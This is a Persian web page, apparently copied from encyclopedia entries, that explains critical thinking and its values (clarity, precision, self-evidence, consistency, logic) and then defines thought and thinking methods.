  9. یعنی درست اندیشیدن در تلاش برای یافت آگاهی قابل اعتماد در جهان. این روش شامل فرایندهای ذهنی تشخیص، تحلیل و ارزیابی داده‌ها است. به بیانی دیگر، هنر اندیشیدن پیرامون اندیشیدن خودتان درحالی‌که شما می‌خواهید اندیشه‌تان را بهتر، روشن‌تر، دقیق‌تر، یا قابل دفاع‌تر بنمایید.[۳]

    فردی که انتقادی می‌اندیشد قادر است پرسش‌های مناسب بپرسد و اطلاعات مربوط را جمع‌آوری کند. سپس با خلاقیات آن‌ها را دسته‌بندی کرده و با منطق استدلال کند؛ و در پایان به یک نتیجه قابل اطمینان دربارهٔ مسئله برسد.

    کودکان با قدرت اندیشه انتقادی به دنیا نمی‌آیند، و این قابلیت را به طور طبیعی نیز ماورای اندازه‌ای که برای زنده ماندن نیاز دارند، کسب نمی‌کنند. بسیاری از انسان‌ها هیچ‌گاه آن را یاد نمی‌گیرند. این روش به‌سادگی توسط والدین و آموزگاران معمولی قابل آموزش به دانش‌آموزان نیست؛ بلکه به مربیان ویژه‌ای برای آموزش مهارت‌های اندیشه انتقادی نیاز دارد.[۴]

    دورنما ویرایش

    هنگامی که مشغول اندیشیدن هستیم، معمولاً هدف ما فهمیدن چیزی است. می‌کوشیم تا پرسشی را پاسخ گوییم، مسئله‌ای را حل کنیم، نتیجه‌گیریی را اثبات کنیم. می‌خواهیم بدانیم علت جنگ‌های داخلی چه بود، به کدام یک از نامزدها رأی دهیم، یا چگونه به تعطیلات برویم تا به ورشکستگی‌مان نینجامد. در همهٔ این موارد، می‌توان گفت که می‌کوشیم معرفتی کسب کنیم که از پیش نداریم؛ و در اغلب موارد نمی‌توانیم آن معرفت را با مشاهده مستقیم حاصل کنیم. باید قدری استدلال کنیم، دو دو تا چهار تا کنیم، استنباط کنیم، و از اطلاعات موجود نتیجه‌گیری کنیم.[۵]

    این شیوهٔ رویکرد به موضوعات را با صفت تحلیلی هم توصیف می‌کنند. تفکر انتقادی تفکر تحلیلی است، یعنی موضوع را می‌شکافد، اجزای آن را دانه‌دانه می‌سنجد و در ادامه شیوهٔ ترکیب آنها را وارسی می‌کند. در دوران باستان ارسطو استاد این کار بوده‌است. شگرد تفکر ارسطو را نادیده گرفته‌اند. آنچه از ارسطو در قرون وسطی به مانع تفکر بدل می‌گردد، برخی آموزه‌های او بوده‌است. محتوای کار او مانع شناخت درست صورت و شیوهٔ کار او شده‌است.

    در آستانهٔ عصر جدید فیلسوفی به نام رنه دکارت سر برمی‌آورد که به اندیشه تحلیلی جان تازه‌ای می‌دهد. اندیشه انتقادی تحلیلی او بنای فکر قرون وسطایی را ویران می‌کند. این اندیشه چیز پیچیده‌ای نیست. با مبانی آن می‌توان آشنا شد.[۶]

    ارزش‌های پایه ویرایش

    تفکر انتقادی (که از آن با عنوان سنجشگرانه اندیشی نیز یاد می‌شود) اندیشیدن سنجشگرانه بر مضمون حرفهایی است که می‌شنویم و می‌خوانیم و بررسی دقیق استدلالهایی است که آن حرفها به کمک آنها خود را استوار جلوه می‌دهند. انتقاد به معنای سنجیدن است نه ایراد گرفتن. زیر عنوان انتقاد نباید غرغرکردن و بهانه گرفتن و عیب‌جویی به دلیل بدخویی را فهمید.[۷] دو گونه اندیشه انتقادی قابل تصور است: یکی خود خواهانه یا سفسطه‌ای که فرد سعی می‌کند بااستفاده از قدرت تحلیل خود به منافعی شخصی برسد و دیگری درست بینی یا بی طرفی که در آن فرد سعی می‌کند تمام جوانب امر را به صورت یکسان و بدون ارجحیت دادن به دلایل احساسی و منفعت طلبانه ببیند.[۳]

    روشن‌اندیشی ویرایش
    تفکر انتقادی در هنگام سنجشگری از ارزشهای فکری خاصی حرکت می‌کند. متنی را می‌خوانیم که موضوع در آن چنان پیچانده شده که هیچ نمی‌توان از آن سر درآورد، در حالی که اصل قضیه ساده‌است و ما باید آن را با آگاهی و دقتی متعارف درک کنیم. در این جا به نویسندهٔ آن انتقاد می‌کنیم که نه روشن‌اندیش، بلکه تاریک‌اندیش است. پس روشنی یک ارزش در تفکر انتقادی است. ما می‌خواهیم به روشنی برسیم. می‌پرسیم و می‌پرسیم، و با این کار گویی نقب زنیم تا از پهنه‌ای تاریک به روشنایی گام بگذاریم. به نویسنده انتقاد می‌کنیم که مفهوم‌ها و گزاره‌هایش دقت ندارند. دقت نیز یک ارزش مهم در تفکر انتقادی است. مفهوم یا تعریف دقیق مثل یک ابزار دقیق است، چنگ می‌زند و آن بخش از واقعیت را که می‌خواهد بگیرد، می‌گیرد. ابزار نادقیق به هدف نمی‌خورد و بعید نیست که موضوع کار را خراب کند. مته را کج می‌زنیم و پیچ مسیر غلطی را می‌رود. مفهوم نادقیق نیز ذهن را به جایی نامربوط می‌کشاند.

    بدیهیات ویرایش
    ارزشی دیگر در تفکر انتقادی بداهت است. آنچه بدیهی است وضوحی شهودی دارد، یعنی ما بنابر تجربه مستقیم خودمان یا خردورزی‌مان می‌دانیم که درست است، انگار ما در ذهن یا در واقعیت در کمال آگاهی شاهد آن هستیم.

    اگر ما از امور بدیهی حرکت کنیم و با شیوهٔ سنجیده‌ای در ترکیب، اطلاعات خود را از آنها درهم‌آمیزیم، به آگاهی پیچیده‌ای می‌رسیم که چون ریشه در امور بدیهی دارد، احتمال می‌رود که درست باشد. می‌گوییم احتمال می‌رود، چون همیشه ممکن است در ترکیب اطلاعات اشتباه صورت گیرد. وقتی متنی را با دید انتقادی می‌خوانیم، توجه داریم که آیا گزاره‌های آن با بدیهیات تجربی و عقلی همخوان هستند یا نه.

    از عبارتهایی چون «واضح و مبرهن است» نیز به همین سوءاستفاده می‌شود. می‌نویسند: «واضح است که…» ما باید مکث کنیم و بپرسیم: واقعاً واضح است؟ یا می‌نویسند: «مبرهن است که…» یعنی در مورد موضوع برهان عقلی آورده‌اند. باید بپرسیم: واقعاً موضوع مستدل است؟ عبارتهایی مثل «بدیهی است که…» و «واضح و مبرهن است که…» ما را دعوت می‌کنند که ادعایی را که به دنبال آنها می‌آید، بی هیچ اندیشه‌ای بپذیریم. اندیشه انتقادی به ما می‌آموزد که در اینجا باید درست رفتار معکوسی داشته باشیم، یعنی دقت ورزیم که آیا ادعا به راستی پذیرفتنی است یا نه.

    تناقض‌ها ویرایش
    ارزشی دیگر در اندیشهٔ انتقادی همخوانی است. سر و ته یک متن یا سخن باید با هم بخوانند. اگر نویسنده و گوینده دچار تناقض شود، یا این که اینجا از این اصل حرکت کند و آنجا که موردی مشابه در وضعیتی مشابه‌است از اصلی دیگر، بر پایهٔ این ارزش به او انتقاد می‌کنیم.

    کشف تناقض همیشه ساده نیست. ما باید متن یا سخن را تجریه و تحلیل کنیم تا ساختار آن برایمان روشن شود، تا بتوانیم ببنیم آیا دچار تناقض شده‌است یا نه. در بسیاری اوقات با خبری مواجه می‌شویم که خود به خود حاوی تناقضی نیست و حرفی کوتاه است که سر و ته آن با هم می‌خوانند. در اینجا آن را باید در متن زندگی و واقعیت قرار دهیم تا بطلان آن را دریابیم.

    نوع دیگر تناقض بیشتر در هنگام اندیشیدن مستقل و نه فکر بر روی گفتار یا نوشتار دیگران پیش می‌آید. اندیشیدن انسان همواره جهت دار است و احساسات و برداشت‌های پیشین آدمی یا به تعبیر دیگر بایاس در آن اثر می‌گذارد. از این رو باید تا جایی که می‌توان از تمایل خود فریبی که به طور طبیعی در انسان وجود دارد را شناخت و در مقابل آن ایستاد. گاهی این ایستادن سبب بایاس در جهت مخالف می‌شود. در اندیشه انتقادی باید تا جایی که می‌توان بایاس را کم کرد اما توجه داشت که به اندیشه بدون بایاس نمی‌توان رسید. یکی از راه‌های کم کردن بایاس مراجعه به آرای دیگران و بحث کردن پیرامون موضوع با هدف رسیدن به شناخت و نه اثبات عقیده است. این کار باعث می‌شود نقاط کور اندیشه ما که خودمان توانایی دیدن آن را نداریم ببینیم.[۳][۸][۹]

    منطق ویرایش
    ارزش دیگری که در اینجا لازم است از آن یاد کنیم استدلال متین و استوار است. اندیشه انتقادی استدلال سست را نمی‌پذیرد. استدلال باید پایه‌های محکمی داشته باشد یعنی از مقدماتی درست حرکت کند و آنها را به صورتی منطقی با یکدیگر ترکیب کرده و به نتیجه برساند. اندیشه انتقادی تفکر منطقی است. منطق شیوه و اصول سنجیدهٔ تعریف و استدلال است.

    فراگیری ویرایش

    اندیشهٔ انتقادی بر پایهٔ مفاهیم و قانون‌هاست، نه بر پایهٔ فراروند پله پله یا شل و محکم.[۱۰] ممکن است طرز اندیشیدن شخصی ناواضح، غیر دقیق، نامربوط، غیرمنطقی و سطحی باشد. راه‌های مختلفی هست که ممکن است تفکر شخص مشکل‌دار باشد.

    به تازگی برخی آزمایش‌هایی که هنوز در مراحل ابتدایی هستند؛ نشان داده که برخی زمان‌ها شخص تصمیمات پیچیده‌ای را پیش از آگاهی از تمام فاکت‌ها و داده‌ها می‌گیرد. از آنجاییکه چنین روشی اندیشیدن انتقادی نیست (چون برای اندیشه انتقادی نیاز به بازتاب دقیق هست) پس استفاده از مهارت‌های اندیشه انتقادی نیاز به تلاش بیشتر بر خلاف طبیعت انسان – که تصمیم‌گیری بدون دانستن همه داده‌هاست دارد.

  10. اندیشه
    تفکر
    فکر و ذهن
    ???????????
    اَندیشه یا فِکر(به انگلیسی: Thought) یکی از نیروهای درونی انسان است که به مفاهیم مربوط است. ایمانوئل کانت از جمله فیلسوفانی است که در کتابش با عنوان «سنجش خرد ناب» دربارهٔ فکر و مفاهیم به بحث پرداخته است.

    تعریف ویرایش

    تفکر، عملی ذهنی است و زمانی مطرح می‌گردد که انسان با مسئله‌ای مواجه‌است و خواستار حل آن است. در این هنگام در ذهن، تلاشی برای حل مسئله آغاز می‌گردد که این تلاش ذهنی را، تفکر می‌نامند. فعالیت برای حل مسئله، از مراحلی تشکیل شده‌است که از تعریف مسئله به طور شفاف، روشن و ملموس، آغاز می‌گردد و با پیدا کردن راه حل‌هایی برای حل مسئله ادامه می‌یابد و با به کارگیریِ عملی بهترین راه حل و یافتن جواب نهایی به پایان می‌رسد.

    تعاریف دیگر ویرایش

    «تفکر سازمان دادن و تجدید سازمان در یادگیری گذشته جهت استفاده در موقعیت فعلی است.»[۱]

    «تفکر فرایندی رمزی و درونی است که منجر به یک حوزه شناختی می‌گردد که نظام شناختی شخص متفکر را تغییر می‌دهد.»[۲]

    «تفکر فرایندی است که از طریق آن یک بازنمایی ذهنی جدید به وسیله تبدیل اطلاعات و تعامل بین خصوصیات ذهنی، قضاوت، انتزاع، استدلال و حل مسئله ایجاد می‌گردد.»[۳]

    «تفکر، تلاشی است ذهنی، برای پاسخ گویی صحیح و دقیق به سوالات ذهنی که به ابزاری چون منطق، خرد ورزی، دانش، تجربه و درک صحیح موضوع نیازمند است. .»[۴]

    در منطق ویرایش

    عبارت است از مرتب ساختن امور معلوم برای رسیدن به کشف مجهول. به عبارت دیگر فکر عبارت است از حرکت ذهن به سوی امور و مقدمات معلوم و سپس حرکت از آن امور معلوم به سوی کشف مقصود.

    روشهای تفکری ویرایش

    هر یک از روش‌های تفکری را می‌توان متدهایی دانست که به کمک آنها، قسمتی از فرایند حل مسئله، با موفقیت طی می‌شود. تفکر برتر تفکری است که از بهترین روش‌ها به حل مسئله برسد.

پاسخ دهید

نشانی ایمیل شما منتشر نخواهد شد. بخش‌های موردنیاز علامت‌گذاری شده‌اند *

رمز امنیتی *

Watch Dragon ball super